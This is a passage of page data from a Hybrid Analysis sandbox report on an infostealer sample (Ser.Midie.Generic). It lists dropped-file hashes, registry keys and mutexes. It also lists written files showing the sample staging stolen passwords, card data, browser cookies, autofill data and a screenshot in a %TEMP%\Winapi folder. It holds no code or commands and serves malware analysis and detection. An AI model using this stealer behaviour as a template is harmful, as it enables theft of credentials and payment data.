6351301ba","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Y1Y7I3BC.txt","sha256":"bf60bbc4c462ceddf8f2a757275522079d1ed815f04e04118a04effae90e282d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Firefox_Autofill.txt","sha256":"fddfe7fc8acd4a15ebfa72ec504f2d1a61c5a2c9b56a9ccb5c3a17f83019fd31","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Firefox_cookies_temp.db","sha256":"d59a48548c3342e337333e57159266fee8596e79f39fea996bf53786af1aa8fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Firefox_formhistory_temp.db","sha256":"dcbf13bb10e2680331097a289b14a86edea1a3a3155cd354e07c93c4cdb65c6f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Screenshot.bmp","sha256":"6cad4b4afbb6c810f38b2692e050b7a2fd04bb14bed81d126e97dc6cb73553d6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"System.txt","sha256":"d342f9d52e58831b85ada23133bfc9419303371aa85e2bc6881ccf89ac4267da","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\PLA6A1.tmp","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\Y1Y7I3BC.txt","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi\\System.txt","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\chromelevator.exe","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi\\Browsers","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Firefox_cookies_temp.db","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Firefox_Cookies.txt","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Firefox_cookies_temp.db-wal","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Firefox_cookies_temp.db-shm","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Firefox_formhistory_temp.db","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Firefox_Autofill.txt","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi\\AllPass.txt","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi\\Cookies\\Firefox_Cookies.txt","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi\\Cards.txt","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi\\Screenshot.bmp","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Chrome_raw","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\Winapi\\Browsers\\Edge_raw","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_zrpehios.ql5.ps1","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_1245pztj.05v.psm1","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3036:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3036:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Local\\SM0:3036:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"SM0:3036:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7464:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Local\\SM0:7464:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"SM0:7464:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"SM0:7464:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7464:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7464:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]}]}},"report_ids":{"sandbox_job_ids":["69c4e3983e91c9c90b0aa75a"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Ser.Midie.Generic Sample 74444301b3b3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 74444301b3b3…. Malware family: Ser.Midie.Generic. Threat score 100/100. 15/26 AV engines flagged this file. 18 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3"}],["$","meta","4",{"property":"og:title","content":"Malicious Ser.Midie.Generic Sample 74444301b3b3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 74444301b3b3…. Malware family: Ser.Midie.Generic. Threat score 100/100. 15/26 AV engines flagged this file. 18 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Ser.Midie.Generic Sample 74444301b3b3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 74444301b3b3…. Malware family: Ser.Midie.Generic. Threat score 100/100. 15/26 AV engines flagged this file. 18 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L6a","11",{}]]